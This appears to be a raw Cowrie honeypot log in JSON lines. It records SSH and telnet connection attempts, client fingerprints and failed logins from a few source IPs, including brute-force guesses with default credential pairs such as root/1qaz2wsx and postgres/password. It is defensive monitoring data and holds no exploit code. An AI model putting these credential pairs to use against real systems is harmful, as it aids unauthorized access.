{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60314,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10f4cc9a762","protocol":"ssh","message":"New connection: 192.109.200.78:60314 (10.17.0.5:22) [session: d10f4cc9a762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:38.714614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:38.719379Z","src_ip":"192.109.200.78","session":"d10f4cc9a762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:38.808992Z","src_ip":"192.109.200.78","session":"d10f4cc9a762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:39.066880Z","src_ip":"192.109.200.78","session":"d10f4cc9a762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:40.151797Z","src_ip":"192.109.200.78","session":"d10f4cc9a762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60322,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac8bd25a3a5","protocol":"ssh","message":"New connection: 192.109.200.78:60322 (10.17.0.5:22) [session: cac8bd25a3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:42.915402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:42.920295Z","src_ip":"192.109.200.78","session":"cac8bd25a3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:43.004728Z","src_ip":"192.109.200.78","session":"cac8bd25a3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:43.252980Z","src_ip":"192.109.200.78","session":"cac8bd25a3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:44.337066Z","src_ip":"192.109.200.78","session":"cac8bd25a3a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60332,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfd912029522","protocol":"ssh","message":"New connection: 192.109.200.78:60332 (10.17.0.5:22) [session: bfd912029522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:46.930811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:46.936604Z","src_ip":"192.109.200.78","session":"bfd912029522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:47.029064Z","src_ip":"192.109.200.78","session":"bfd912029522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:47.491377Z","src_ip":"192.109.200.78","session":"bfd912029522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:48.579944Z","src_ip":"192.109.200.78","session":"bfd912029522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":33834,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc6673a5870","protocol":"telnet","message":"New connection: 5.42.229.203:33834 (159.203.135.109:23) [session: 9fc6673a5870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:50.193116Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":33862,"dst_ip":"159.203.135.109","dst_port":23,"session":"0059c4c307fc","protocol":"telnet","message":"New connection: 5.42.229.203:33862 (159.203.135.109:23) [session: 0059c4c307fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:50.304902Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59240,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba85cdec7f33","protocol":"ssh","message":"New connection: 192.109.200.78:59240 (10.17.0.5:22) [session: ba85cdec7f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:51.138414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:51.142839Z","src_ip":"192.109.200.78","session":"ba85cdec7f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:51.225431Z","src_ip":"192.109.200.78","session":"ba85cdec7f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:51.480416Z","src_ip":"192.109.200.78","session":"ba85cdec7f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:52.564100Z","src_ip":"192.109.200.78","session":"ba85cdec7f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59248,"dst_ip":"10.17.0.5","dst_port":22,"session":"4762d3d1944d","protocol":"ssh","message":"New connection: 192.109.200.78:59248 (10.17.0.5:22) [session: 4762d3d1944d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:55.298307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:55.303290Z","src_ip":"192.109.200.78","session":"4762d3d1944d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:55.386924Z","src_ip":"192.109.200.78","session":"4762d3d1944d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:55.773395Z","src_ip":"192.109.200.78","session":"4762d3d1944d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.83757710456848,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:56.722737Z","src_ip":"5.42.229.203","session":"f93e5a22832c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:56.858042Z","src_ip":"192.109.200.78","session":"4762d3d1944d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43768,"dst_ip":"10.17.0.5","dst_port":22,"session":"96086e706243","protocol":"ssh","message":"New connection: 192.109.200.78:43768 (10.17.0.5:22) [session: 96086e706243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:59.580298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:59.585077Z","src_ip":"192.109.200.78","session":"96086e706243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58336,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c01d8722426","protocol":"ssh","message":"New connection: 159.203.92.129:58336 (159.203.135.109:22) [session: 0c01d8722426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:59.648749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:59.653322Z","src_ip":"159.203.92.129","session":"0c01d8722426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:59.660958Z","src_ip":"159.203.92.129","session":"0c01d8722426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:59.668437Z","src_ip":"192.109.200.78","session":"96086e706243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"PASSword","message":"login attempt [admin/PASSword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:59.678080Z","src_ip":"159.203.92.129","session":"0c01d8722426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:59.915663Z","src_ip":"192.109.200.78","session":"96086e706243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:00.689088Z","src_ip":"159.203.92.129","session":"0c01d8722426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:01.003792Z","src_ip":"192.109.200.78","session":"96086e706243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43770,"dst_ip":"10.17.0.5","dst_port":22,"session":"77ebae8b1b02","protocol":"ssh","message":"New connection: 192.109.200.78:43770 (10.17.0.5:22) [session: 77ebae8b1b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:03.651628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:03.787594Z","src_ip":"192.109.200.78","session":"77ebae8b1b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:03.791548Z","src_ip":"192.109.200.78","session":"77ebae8b1b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:04.299976Z","src_ip":"192.109.200.78","session":"77ebae8b1b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:05.389069Z","src_ip":"192.109.200.78","session":"77ebae8b1b02","protocol":"ssh"}
